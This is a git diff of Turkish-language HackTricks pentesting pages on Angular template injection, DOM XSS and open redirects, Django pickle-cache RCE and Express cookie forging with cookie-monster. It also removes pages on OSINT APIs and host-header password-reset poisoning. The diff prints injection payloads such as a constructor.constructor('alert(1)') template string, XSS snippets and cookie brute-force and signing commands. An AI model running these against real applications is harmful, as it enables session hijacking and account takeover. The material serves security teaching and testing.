``` Genel olarak, sourcemap dosyaları, üretilen dosyaları orijinal dosyalarına eşleştirdikleri için hata ayıklama amaçları için kullanılır. Bu nedenle, bunların bir üretim ortamında kullanılması önerilmez. Eğer sourcemap'ler etkinleştirilirse, okunabilirliği artırır ve Angular projesinin orijinal durumunu kopyalayarak dosya analizine yardımcı olur. Ancak, devre dışı bırakıldığında, bir inceleyici, anti-güvenlik desenlerini arayarak derlenmiş bir JavaScript dosyasını manuel olarak analiz edebilir. -Ayrıca, bir Angular projesine ait derlenmiş bir JavaScript dosyası, tarayıcı geliştirici araçları → Sources (veya Debugger ve Sources) → \[id].main.js altında bulunabilir. Etkinleştirilen seçeneklere bağlı olarak, bu dosya sonunda `//# sourceMappingURL=[id].main.js.map` satırını içerebilir veya **hidden** seçeneği **true** olarak ayarlandığında içermeyebilir. Yine de, **scripts** için sourcemap devre dışı bırakıldığında, test daha karmaşık hale gelir ve dosyayı elde edemeyiz. Ayrıca, sourcemap proje derlemesi sırasında `ng build --source-map` gibi etkinleştirilebilir. +Ayrıca, bir Angular projesine ait derlenmiş bir JavaScript dosyası, tarayıcı geliştirici araçlarında → Sources (veya Debugger ve Sources) → \[id].main.js altında bulunabilir. Etkinleştirilen seçeneklere bağlı olarak, bu dosya sonunda `//# sourceMappingURL=[id].main.js.map` satırını içerebilir veya **hidden** seçeneği **true** olarak ayarlandığında içermeyebilir. Yine de, **scripts** için sourcemap devre dışı bırakıldığında, test daha karmaşık hale gelir ve dosyayı elde edemeyiz. Ayrıca, sourcemap proje derlemesi sırasında `ng build --source-map` gibi etkinleştirilebilir. ## Veri bağlama -Bağlama, bir bileşen ile ilgili görünümü arasındaki iletişim sürecini ifade eder. Angular çerçevesine veri aktarmak için kullanılır. Veri, olaylar, interpolasyon, özellikler veya iki yönlü bağlama mekanizması gibi çeşitli yollarla aktarılabilir. Ayrıca, veri, ilgili bileşenler (ebeveyn-çocuk ilişkisi) ve iki alakasız bileşen arasında Service özelliği kullanılarak da paylaşılabilir. +Bağlama, bir bileşen ile ilgili görünümü arasındaki iletişim sürecini ifade eder. Angular çerçevesine veri aktarmak için kullanılır. Veriler, olaylar, interpolasyon, özellikler veya iki yönlü bağlama mekanizması gibi çeşitli yollarla aktarılabilir. Ayrıca, veriler, ilgili bileşenler (ebeveyn-çocuk ilişkisi) ve iki alakasız bileşen arasında Service özelliği kullanılarak da paylaşılabilir. Bağlamayı veri akışına göre sınıflandırabiliriz: @@ -114,12 +116,12 @@ Sonuç: `

test

` * `None`; * `HTML`, değer HTML olarak yorumlandığında kullanılır; -* `STYLE`, CSS'nin `style` özelliğine bağlandığında kullanılır; +* `STYLE`, CSS'yi `style` özelliğine bağlarken kullanılır; * `URL`, `` gibi URL özellikleri için kullanılır; * `SCRIPT`, JavaScript kodu için kullanılır; * `RESOURCE_URL`, kod olarak yüklenen ve yürütülen bir URL olarak, örneğin, `

test

"; #### İstemci Tarafı Render (CSR) -Angular, sayfaları dinamik olarak oluşturmak için şablonları kullanır. Bu yaklaşım, Angular'ın değerlendirmesi için şablon ifadelerini çift süslü parantezler (`{{}}`) içinde kapsüllemeyi içerir. Bu şekilde, çerçeve ek işlevsellik sunar. Örneğin, `{{1+1}}` gibi bir şablon 2 olarak görüntülenecektir. +Angular, sayfaları dinamik olarak oluşturmak için şablonları kullanır. Bu yaklaşım, Angular'ın değerlendirmesi için şablon ifadelerini çift süslü parantezler (`{{}}`) içinde kapsayıcı hale getirmeyi içerir. Bu şekilde, çerçeve ek işlevsellik sunar. Örneğin, `{{1+1}}` gibi bir şablon 2 olarak görüntülenecektir. -Genellikle, Angular, şablon ifadeleriyle karıştırılabilecek kullanıcı girişlerini (örneğin, \`< > ' " \`\` gibi karakterler) kaçışlar. Bu, kara listeye alınmış karakterleri kullanmaktan kaçınmak için JavaScript dize nesneleri üreten işlevler gibi bu kısıtlamayı aşmak için ek adımların gerekli olduğu anlamına gelir. Ancak, bunu başarmak için Angular bağlamını, özelliklerini ve değişkenlerini dikkate almamız gerekir. Bu nedenle, bir şablon enjeksiyonu saldırısı şu şekilde görünebilir: +Genellikle, Angular, şablon ifadeleriyle karıştırılabilecek kullanıcı girişlerini (örneğin, \`< > ' " \`\` gibi karakterler) kaçırır. Bu, yasaklı karakterleri kullanmaktan kaçınmak için JavaScript dize nesneleri üreten işlevler gibi bu kısıtlamayı aşmak için ek adımların gerekli olduğu anlamına gelir. Ancak, bunu başarmak için Angular bağlamını, özelliklerini ve değişkenlerini dikkate almamız gerekir. Bu nedenle, bir şablon enjeksiyonu saldırısı şu şekilde görünebilir: ```jsx //app.component.ts const _userInput = '{{constructor.constructor(\'alert(1)\'()}}' @@ -227,11 +229,11 @@ selector: 'app-root', template: '

title

' + _userInput }) ``` -Yukarıda gösterildiği gibi: `constructor`, Object `constructor` özelliğinin kapsamını ifade eder, bu da bize String constructor'ını çağırma ve rastgele kod yürütme imkanı tanır. +Yukarıda gösterildiği gibi: `constructor`, Object `constructor` özelliğinin kapsamını ifade eder ve bize String constructor'ı çağırma ve rastgele kod yürütme imkanı tanır. #### Sunucu Tarafı Render (SSR) -CSR'dan farklı olarak, tarayıcının DOM'unda gerçekleşen, Angular Universal, şablon dosyalarının SSR'sinden sorumludur. Bu dosyalar daha sonra kullanıcıya iletilir. Bu ayrıma rağmen, Angular Universal, SSR güvenliğini artırmak için CSR'de kullanılan aynı sanitizasyon mekanizmalarını uygular. SSR'deki bir şablon enjeksiyon açığı, kullanılan şablon dilinin aynı olması nedeniyle CSR'deki gibi tespit edilebilir. +Tarayıcıdaki DOM'da gerçekleşen CSR'ın aksine, Angular Universal, şablon dosyalarının SSR'sinden sorumludur. Bu dosyalar daha sonra kullanıcıya iletilir. Bu ayrıma rağmen, Angular Universal, SSR güvenliğini artırmak için CSR'da kullanılan aynı sanitizasyon mekanizmalarını uygular. SSR'deki bir şablon enjeksiyon açığı, kullanılan şablon dilinin aynı olması nedeniyle CSR'deki gibi tespit edilebilir. Elbette, Pug ve Handlebars gibi üçüncü taraf şablon motorları kullanıldığında yeni şablon enjeksiyon açıkları tanıtma olasılığı da vardır. @@ -292,7 +294,7 @@ document.body.appendChild(a); ``` #### Angular sınıfları -Angular'da DOM öğeleriyle çalışmak için kullanılabilecek bazı sınıflar vardır: `ElementRef`, `Renderer2`, `Location` ve `Document`. Son iki sınıfın ayrıntılı açıklaması **Açık yönlendirmeler** bölümünde verilmiştir. İlk iki sınıf arasındaki temel fark, `Renderer2` API'sinin DOM öğesi ile bileşen kodu arasında bir soyutlama katmanı sağlamasıdır; oysa `ElementRef` sadece öğeye bir referans tutar. Bu nedenle, Angular belgelerine göre, `ElementRef` API'si yalnızca doğrudan DOM erişimi gerektiğinde son çare olarak kullanılmalıdır. +Angular'da DOM öğeleri ile çalışmak için kullanılabilecek bazı sınıflar vardır: `ElementRef`, `Renderer2`, `Location` ve `Document`. Son iki sınıfın ayrıntılı açıklaması **Açık yönlendirmeler** bölümünde verilmiştir. İlk iki sınıf arasındaki temel fark, `Renderer2` API'sinin DOM öğesi ile bileşen kodu arasında bir soyutlama katmanı sağlamasıdır; oysa `ElementRef` sadece öğeye bir referans tutar. Bu nedenle, Angular belgelerine göre, `ElementRef` API'si yalnızca doğrudan DOM erişimi gerektiğinde son çare olarak kullanılmalıdır. * `ElementRef`, DOM öğelerini manipüle etmek için kullanılabilecek `nativeElement` özelliğini içerir. Ancak, `nativeElement`'in yanlış kullanımı, aşağıda gösterildiği gibi bir XSS enjeksiyon açığına yol açabilir: @@ -371,13 +373,13 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', 'Click me! ``` -Araştırmalarımız sırasında, XSS ve CSS enjeksiyonları ile ilgili olarak `Renderer2`'nin `setStyle()`, `createComment()` ve `setValue()` gibi diğer yöntemlerinin davranışını da inceledik. Ancak, işlevsel sınırlamaları nedeniyle bu yöntemler için geçerli saldırı vektörleri bulamadık. +Araştırmalarımız sırasında, XSS ve CSS enjeksiyonları ile ilgili olarak `Renderer2` yöntemlerinin davranışını da inceledik; `setStyle()`, `createComment()` ve `setValue()` gibi. Ancak, işlevsel sınırlamaları nedeniyle bu yöntemler için geçerli saldırı vektörleri bulamadık. #### jQuery -jQuery, Angular projesinde HTML DOM nesnelerini manipüle etmek için kullanılabilecek hızlı, küçük ve özellik açısından zengin bir JavaScript kütüphanesidir. Ancak, bilindiği gibi, bu kütüphanenin yöntemleri XSS açığına ulaşmak için istismar edilebilir. Bazı savunmasız jQuery yöntemlerinin Angular projelerinde nasıl istismar edilebileceğini tartışmak için bu alt bölümü ekledik. +jQuery, Angular projesinde HTML DOM nesnelerini manipüle etmek için kullanılabilecek hızlı, küçük ve özellik açısından zengin bir JavaScript kütüphanesidir. Ancak, bilindiği gibi, bu kütüphanenin yöntemleri bir XSS açığı elde etmek için istismar edilebilir. Bazı savunmasız jQuery yöntemlerinin Angular projelerinde nasıl istismar edilebileceğini tartışmak için bu alt bölümü ekledik. -* `html()` yöntemi, eşleşen öğelerin setindeki ilk öğenin HTML içeriğini alır veya her eşleşen öğenin HTML içeriğini ayarlar. Ancak, tasarım gereği, bir HTML dizesi kabul eden herhangi bir jQuery yapıcı veya yöntemi potansiyel olarak kod çalıştırabilir. Bu, `"); jQuery.parseHTML(data [, context ] [, keepScripts ]) ``` -Daha önce belirtildiği gibi, HTML dizeleri kabul eden çoğu jQuery API'si, HTML'de dahil edilen betikleri çalıştırır. `jQuery.parseHTML()` yöntemi, `keepScripts` açıkça `true` olmadıkça, ayrıştırılan HTML'deki betikleri çalıştırmaz. Ancak, çoğu ortamda dolaylı olarak betikleri çalıştırmak hala mümkündür; örneğin, `` niteliği aracılığıyla. +Daha önce belirtildiği gibi, HTML dizeleri kabul eden çoğu jQuery API'si, HTML'de yer alan betikleri çalıştıracaktır. `jQuery.parseHTML()` yöntemi, `keepScripts` açıkça `true` olmadıkça, ayrıştırılan HTML'deki betikleri çalıştırmaz. Ancak, çoğu ortamda dolaylı olarak betikleri çalıştırmak hala mümkündür; örneğin, `` niteliği aracılığıyla. ```tsx //app.component.ts @@ -446,7 +448,7 @@ $palias.append(html); #### DOM arayüzleri -W3C belgelerine göre, `window.location` ve `document.location` nesneleri modern tarayıcılarda takma adlar olarak kabul edilir. Bu nedenle, bazı yöntemlerin ve özelliklerin benzer bir uygulamasına sahip olmaları, `javascript://` şeması saldırılarıyla açık yönlendirme ve DOM XSS'e neden olabilir. +W3C belgelerine göre, `window.location` ve `document.location` nesneleri modern tarayıcılarda takma adlar olarak kabul edilir. Bu nedenle, bazı yöntemlerin ve özelliklerin benzer bir uygulaması vardır; bu da aşağıda belirtilen `javascript://` şeması saldırıları ile açık yönlendirme ve DOM XSS'e neden olabilir. * `window.location.href`(ve `document.location.href`) @@ -465,7 +467,7 @@ window.location.href = "https://google.com/about" ``` -Aşağıdaki senaryolar için istismar süreci aynıdır. +İstismar süreci, aşağıdaki senaryolar için aynıdır. * `window.location.assign()`(ve `document.location.assign()`) Bu yöntem, pencerenin belirtilen URL'deki belgeyi yüklemesini ve görüntülemesini sağlar. Bu yöntemi kontrol edersek, açık yönlendirme saldırısı için bir hedef olabilir. @@ -483,7 +485,7 @@ window.location.assign("https://google.com/about") Bu yöntem, mevcut kaynağı sağlanan URL'deki kaynakla değiştirir. -`assign()` yönteminden farkı, `window.location.replace()` kullandıktan sonra mevcut sayfanın oturum Geçmişi'nde kaydedilmeyecek olmasıdır. Ancak, bu yöntemi kontrol ettiğimizde açık yönlendirme açığını istismar etmek de mümkündür. +`assign()` yönteminden farkı, `window.location.replace()` kullanıldıktan sonra mevcut sayfanın oturum geçmişinde kaydedilmeyecek olmasıdır. Ancak, bu yöntemi kontrol ettiğimizde açık yönlendirme açığını istismar etmek de mümkündür. ```tsx //app.component.ts @@ -496,7 +498,7 @@ window.location.replace("http://google.com/about") ``` * `window.open()` -`window.open()` yöntemi bir URL alır ve tanımladığı kaynağı yeni veya mevcut bir sekmeye veya pencereye yükler. Bu yöntemi kontrol etmek, bir XSS veya açık yönlendirme açığını tetiklemek için de bir fırsat olabilir. +`window.open()` yöntemi, bir URL alır ve tanımladığı kaynağı yeni veya mevcut bir sekmeye veya pencereye yükler. Bu yöntemi kontrol etmek, bir XSS veya açık yönlendirme açığını tetiklemek için de bir fırsat olabilir. ```tsx //app.component.ts @@ -510,7 +512,7 @@ window.open("https://google.com/about", "_blank") #### Angular sınıfları -* Angular belgelerine göre, Angular `Document`, DOM belgesi ile aynıdır; bu da, Angular'daki istemci tarafı açıklarını istismar etmek için DOM belgesi için yaygın vektörlerin kullanılabileceği anlamına gelir. `Document.location` özellikleri ve yöntemleri, başarılı açık yönlendirme saldırıları için hedefler olabilir; aşağıdaki örnekte gösterildiği gibi: +* Angular belgelerine göre, Angular `Document`, DOM belgesi ile aynıdır; bu da, Angular'daki istemci tarafı açıklarını istismar etmek için DOM belgesi için ortak vektörlerin kullanılabileceği anlamına gelir. `Document.location` özellikleri ve yöntemleri, başarılı açık yönlendirme saldırıları için hedefler olabilir; aşağıdaki örnekte gösterildiği gibi: ```tsx //app.component.ts @@ -533,7 +535,7 @@ this.document.location.href = 'https://google.com/about'; //app.component.html ``` -* Araştırma aşamasında, açık yönlendirme açıkları için Angular `Location` sınıfını da inceledik, ancak geçerli vektörler bulunamadı. `Location`, uygulamaların bir tarayıcının mevcut URL'siyle etkileşimde bulunmak için kullanabileceği bir Angular hizmetidir. Bu hizmet, verilen URL'yi manipüle etmek için birkaç yönteme sahiptir - `go()`, `replaceState()` ve `prepareExternalUrl()`. Ancak, bunları dış bir alan adına yönlendirmek için kullanamayız. Örneğin: +* Araştırma aşamasında, açık yönlendirme açıkları için Angular `Location` sınıfını da inceledik, ancak geçerli vektörler bulunamadı. `Location`, uygulamaların bir tarayıcının mevcut URL'si ile etkileşimde bulunmak için kullanabileceği bir Angular hizmetidir. Bu hizmet, verilen URL'yi manipüle etmek için birkaç yönteme sahiptir - `go()`, `replaceState()` ve `prepareExternalUrl()`. Ancak, bunları dış bir alan adına yönlendirmek için kullanamayız. Örneğin: ```tsx //app.component.ts @@ -583,7 +585,7 @@ this.router.navigateByUrl('URL') * [Angular Güvenliği: Kesin Kılavuz (Bölüm 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2) * [Angular Güvenliği: Kesin Kılavuz (Bölüm 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3) * [Angular Güvenliği: Kontrol Listesi](https://lsgeurope.com/post/angular-security-checklist) -* [Workspace ve proje dosya yapısı](https://angular.io/guide/file-structure) +* [Workspace ve proje dosyası yapısı](https://angular.io/guide/file-structure) * [Bileşenler ve şablonlara giriş](https://angular.io/guide/architecture-components) * [Kaynak haritası yapılandırması](https://angular.io/guide/workspace-config#source-map-configuration) * [Binding sözdizimi](https://angular.io/guide/binding-syntax) @@ -597,7 +599,11 @@ this.router.navigateByUrl('URL') * [Angular Renderer2](https://angular.io/api/core/Renderer2) * [Renderer2 Örneği: Angular'da DOM Manipülasyonu - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/) * [jQuery API Belgeleri](http://api.jquery.com/) -* [Angular ile jQuery Nasıl Kullanılır (Kesinlikle Gerektiğinde)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9) -* [Angular Belgesi](https://angular.io/api/common/DOCUMENT) -* [Angular Konumu](https://angular.io/api/common/Location) -* [Angular Yönlendirici](https://angular.io/api/router/Router) +* [Angular ile jQuery Nasıl Kullanılır (Kesinlikle Gerekirse)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9) +* [Angular Document](https://angular.io/api/common/DOCUMENT) +* [Angular Location](https://angular.io/api/common/Location) +* [Angular Router](https://angular.io/api/router/Router) + + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 6ff167062..3af032289 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -1,8 +1,12 @@ # Django -## Cache Manipulation to RCE -Django'nun varsayılan önbellek depolama yöntemi [Python pickles](https://docs.python.org/3/library/pickle.html) olup, [güvenilmeyen girişler unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) olduğunda RCE'ye yol açabilir. **Eğer bir saldırgan önbelleğe yazma erişimi elde ederse, bu açığı alttaki sunucuda RCE'ye yükseltebilir**. +{{#include /banners/hacktricks-training.md}} -Django önbelleği dört yerden birinde saklanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [bellek](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [dosyalar](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) veya bir [veritabanı](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında saklanan önbellek, en olası saldırı vektörleridir (Redis enjeksiyonu ve SQL enjeksiyonu), ancak bir saldırgan dosya tabanlı önbelleği kullanarak keyfi bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu bir sorun olarak işaretlemiştir. Önbellek dosyası klasörünün, SQL tablo adının ve Redis sunucu detaylarının uygulamaya göre değişeceğini belirtmek önemlidir. +## Önbellek Manipülasyonu ile RCE +Django'nun varsayılan önbellek depolama yöntemi [Python pickles](https://docs.python.org/3/library/pickle.html) olup, [güvenilmeyen girişin unpickled edilmesi](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) durumunda RCE'ye yol açabilir. **Eğer bir saldırgan önbelleğe yazma erişimi elde ederse, bu açığı temel sunucuda RCE'ye yükseltebilir**. -Bu HackerOne raporu, SQLite veritabanında saklanan Django önbelleğini istismar etmenin harika, tekrarlanabilir bir örneğini sunmaktadır: https://hackerone.com/reports/1415436 +Django önbelleği dört yerden birinde saklanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [bellek](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [dosyalar](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) veya bir [veritabanı](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında saklanan önbellek, en olası saldırı vektörleridir (Redis enjeksiyonu ve SQL enjeksiyonu), ancak bir saldırgan dosya tabanlı önbelleği kullanarak rastgele bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu bir sorun olarak işaretlemiştir. Önbellek dosyası klasörünün, SQL tablo adının ve Redis sunucu detaylarının uygulamaya göre değişeceğini belirtmek önemlidir. + +Bu HackerOne raporu, bir SQLite veritabanında saklanan Django önbelleğini istismar etme konusunda harika, tekrarlanabilir bir örnek sunmaktadır: https://hackerone.com/reports/1415436 + +{{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md b/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md deleted file mode 100644 index 0d5c123ee..000000000 --- a/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md +++ /dev/null @@ -1 +0,0 @@ -# GWT - Google Web Toolkit diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md index d2ed3d029..495dd89e2 100644 --- a/src/network-services-pentesting/pentesting-web/nodejs-express.md +++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md @@ -1,8 +1,10 @@ # NodeJS Express +{{#include /banners/hacktricks-training.md}} + ## Cookie İmzası -Araç [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster), Express.js çerez gizli anahtarlarının test edilmesi ve yeniden imzalanması için otomasyon sağlayan bir yardımcı programdır. +The tool [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) Express.js çerez gizli anahtarlarının test edilmesi ve yeniden imzalanması için otomatikleştirilmiş bir yardımcı programdır. ### Belirli bir adı olan tek çerez ```bash @@ -12,7 +14,7 @@ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session ```bash cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst ``` -### Birden fazla çerezi toplu modda test et +### Birden fazla çerezi toplu modda test etme ```bash cookie-monster -b -f cookies.json ``` @@ -26,4 +28,4 @@ Eğer sırrı biliyorsanız, çerezi imzalayabilirsiniz. ```bash cookie-monster -e -f new_cookie.json -k secret ``` - +{{#include /banners/hacktricks-training.md}} diff --git a/src/online-platforms-with-api.md b/src/online-platforms-with-api.md deleted file mode 100644 index 938624c74..000000000 --- a/src/online-platforms-with-api.md +++ /dev/null @@ -1,113 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -# [ProjectHoneypot](https://www.projecthoneypot.org/) - -Bir IP'nin şüpheli/kötü niyetli faaliyetlerle ilişkili olup olmadığını sorabilirsiniz. Tamamen ücretsiz. - -# [**BotScout**](http://botscout.com/api.htm) - -IP adresinin hesap kaydeden bir botla ilişkili olup olmadığını kontrol edin. Kullanıcı adları ve e-postaları da kontrol edebilir. Başlangıçta ücretsiz. - -# [Hunter](https://hunter.io/) - -E-postaları bulun ve doğrulayın. Bazı ücretsiz API istekleri mevcut, daha fazlası için ödeme yapmanız gerekiyor. Ticari mi? - -# [AlientVault](https://otx.alienvault.com/api) - -IP'ler ve Alan Adları ile ilgili kötü niyetli faaliyetleri bulun. Ücretsiz. - -# [Clearbit](https://dashboard.clearbit.com/) - -Bir e-posta ile ilgili kişisel verileri \(diğer platformlardaki profiller\), alan adı \(temel şirket bilgileri, e-postalar ve çalışanlar\) ve şirketler \(e-postadan şirket bilgisi alın\) bulun. Tüm olanaklara erişmek için ödeme yapmanız gerekiyor. Ticari mi? - -# [BuiltWith](https://builtwith.com/) - -Web siteleri tarafından kullanılan teknolojiler. Pahalı... Ticari mi? - -# [Fraudguard](https://fraudguard.io/) - -Bir ana bilgisayarın \(alan adı veya IP\) şüpheli/kötü niyetli faaliyetlerle ilişkili olup olmadığını kontrol edin. Bazı ücretsiz API erişimi mevcut. Ticari mi? - -# [FortiGuard](https://fortiguard.com/) - -Bir ana bilgisayarın \(alan adı veya IP\) şüpheli/kötü niyetli faaliyetlerle ilişkili olup olmadığını kontrol edin. Bazı ücretsiz API erişimi mevcut. - -# [SpamCop](https://www.spamcop.net/) - -Ana bilgisayarın spam faaliyetleriyle ilişkili olup olmadığını belirtir. Bazı ücretsiz API erişimi mevcut. - -# [mywot](https://www.mywot.com/) - -Görüşler ve diğer metriklere dayanarak bir alan adının şüpheli/kötü niyetli bilgilerle ilişkili olup olmadığını öğrenin. - -# [ipinfo](https://ipinfo.io/) - -Bir IP adresinden temel bilgileri elde edin. Aylık 100K'a kadar test edebilirsiniz. - -# [securitytrails](https://securitytrails.com/app/account) - -Bu platform, bir IP içindeki veya bir alan adı sunucusundaki alan adları gibi alan adları ve IP adresleri hakkında bilgi verir, bir e-posta ile sahip olunan alan adlarını \(ilişkili alan adlarını bulun\), alanların IP geçmişini \(CloudFlare'ın arkasındaki ana bilgisayarı bulun\), bir nameserver kullanan tüm alan adlarını... Bazı ücretsiz erişiminiz var. - -# [fullcontact](https://www.fullcontact.com/) - -E-posta, alan adı veya şirket adı ile arama yapmanıza ve ilgili "kişisel" bilgileri almanıza olanak tanır. E-postaları da doğrulayabilir. Bazı ücretsiz erişim mevcut. - -# [RiskIQ](https://www.spiderfoot.net/documentation/) - -Alan adları ve IP'ler hakkında çok fazla bilgi, hatta ücretsiz/topluluk sürümünde bile. - -# [\_IntelligenceX](https://intelx.io/) - -Alan adları, IP'ler ve e-postalar arayın ve dökümlerden bilgi alın. Bazı ücretsiz erişim mevcut. - -# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) - -IP ile arama yapın ve şüpheli faaliyetlerle ilgili bilgileri toplayın. Bazı ücretsiz erişim mevcut. - -# [Greynoise](https://viz.greynoise.io/) - -IP veya IP aralığı ile arama yapın ve İnterneti tarayan IP'ler hakkında bilgi alın. 15 gün ücretsiz erişim. - -# [Shodan](https://www.shodan.io/) - -Bir IP adresinin tarama bilgilerini alın. Bazı ücretsiz API erişimi mevcut. - -# [Censys](https://censys.io/) - -Shodan'a çok benzer. - -# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) - -Anahtar kelime ile arama yaparak açık S3 bucket'ları bulun. - -# [Dehashed](https://www.dehashed.com/data) - -Sızdırılmış e-posta ve hatta alan adlarının kimlik bilgilerini bulun. Ticari mi? - -# [psbdmp](https://psbdmp.ws/) - -Bir e-postanın göründüğü pastebin'leri arayın. Ticari mi? - -# [emailrep.io](https://emailrep.io/key) - -Bir e-postanın itibarını alın. Ticari mi? - -# [ghostproject](https://ghostproject.fr/) - -Sızdırılmış e-postalardan şifreleri alın. Ticari mi? - -# [Binaryedge](https://www.binaryedge.io/) - -IP'lerden ilginç bilgiler elde edin. - -# [haveibeenpwned](https://haveibeenpwned.com/) - -Alan adı ve e-posta ile arama yapın ve pwned olup olmadığını ve şifreleri alın. Ticari mi? - -[https://dnsdumpster.com/](https://dnsdumpster.com/)\(ticari bir araçta mı?\) - -[https://www.netcraft.com/](https://www.netcraft.com/) \(ticari bir araçta mı?\) - -[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(ticari bir araçta mı?\) - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md deleted file mode 100644 index a2b5ac8ce..000000000 --- a/src/other-web-tricks.md +++ /dev/null @@ -1,41 +0,0 @@ -# Diğer Web Hileleri - -{{#include ./banners/hacktricks-training.md}} - -### Host başlığı - -Birçok kez arka uç, bazı işlemleri gerçekleştirmek için **Host başlığına** güvenir. Örneğin, bu değeri **şifre sıfırlama için kullanılacak alan adı** olarak kullanabilir. Yani, şifrenizi sıfırlamak için bir bağlantı içeren bir e-posta aldığınızda, kullanılan alan adı Host başlığında belirttiğiniz alandır. Ardından, diğer kullanıcıların şifre sıfırlama taleplerini yapabilir ve alan adını kontrolünüzde olan bir alan adıyla değiştirerek şifre sıfırlama kodlarını çalabilirsiniz. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). - -> [!WARNING] -> Kullanıcının şifre sıfırlama bağlantısına tıklamasını beklemenize gerek kalmayabileceğini unutmayın, çünkü belki de **spam filtreleri veya diğer ara cihazlar/botlar bunu analiz etmek için tıklayabilir**. - -### Oturum boolean'ları - -Bazen bazı doğrulamaları doğru bir şekilde tamamladığınızda, arka uç **oturumunuza bir güvenlik niteliğine "True" değeriyle bir boolean ekler**. Ardından, farklı bir uç nokta bu kontrolü başarıyla geçip geçmediğinizi bilecektir.\ -Ancak, eğer **kontrolü geçerseniz** ve oturumunuza güvenlik niteliğinde "True" değeri verilirse, **aynı niteliğe bağlı olan diğer kaynaklara erişmeyi** deneyebilirsiniz, ancak **erişim izniniz olmamalıdır**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). - -### Kayıt işlevselliği - -Zaten mevcut bir kullanıcı olarak kaydolmayı deneyin. Eşdeğer karakterler (nokta, çok sayıda boşluk ve Unicode) kullanmayı da deneyin. - -### E-postaları ele geçirme - -Bir e-posta kaydedin, onaylamadan önce e-postayı değiştirin, ardından yeni onay e-postası ilk kaydedilen e-postaya gönderilirse, herhangi bir e-postayı ele geçirebilirsiniz. Ya da ikinci e-postayı birincisini onaylayacak şekilde etkinleştirebilirseniz, herhangi bir hesabı da ele geçirebilirsiniz. - -### Atlassian kullanan şirketlerin İç Servis Masasına Erişim - -{{#ref}} -https://yourcompanyname.atlassian.net/servicedesk/customer/user/login -{{#endref}} - -### TRACE yöntemi - -Geliştiriciler, üretim ortamında çeşitli hata ayıklama seçeneklerini devre dışı bırakmayı unutabilir. Örneğin, HTTP `TRACE` yöntemi tanısal amaçlar için tasarlanmıştır. Etkinleştirildiğinde, web sunucusu `TRACE` yöntemini kullanan isteklere, alınan tam isteği yanıt olarak yansıtarak yanıt verir. Bu davranış genellikle zararsızdır, ancak bazen ters proxyler tarafından isteklere eklenebilecek dahili kimlik doğrulama başlıklarının adları gibi bilgi ifşasına yol açabilir.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) - -![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) - -{{#include ./banners/hacktricks-training.md}} - -### Same-Site Scripting - -Belirli DNS yanlış yapılandırmaları nedeniyle localhost veya 127.0.0.1'e çözümleyen bir alan adı veya alt alan adıyla karşılaştığımızda meydana gelir. Bu, bir saldırganın RFC2109 (HTTP Durum Yönetimi Mekanizması) aynı köken kısıtlamalarını aşmasına ve dolayısıyla durum yönetimi verilerini ele geçirmesine olanak tanır. Ayrıca, çapraz site betikleme (cross-site scripting) olasılığını da artırabilir. Daha fazla bilgi için [buradan](https://seclists.org/bugtraq/2008/Jan/270) okuyabilirsiniz. diff --git a/src/pentesting-dns.md b/src/pentesting-dns.md deleted file mode 100644 index 2763d7545..000000000 --- a/src/pentesting-dns.md 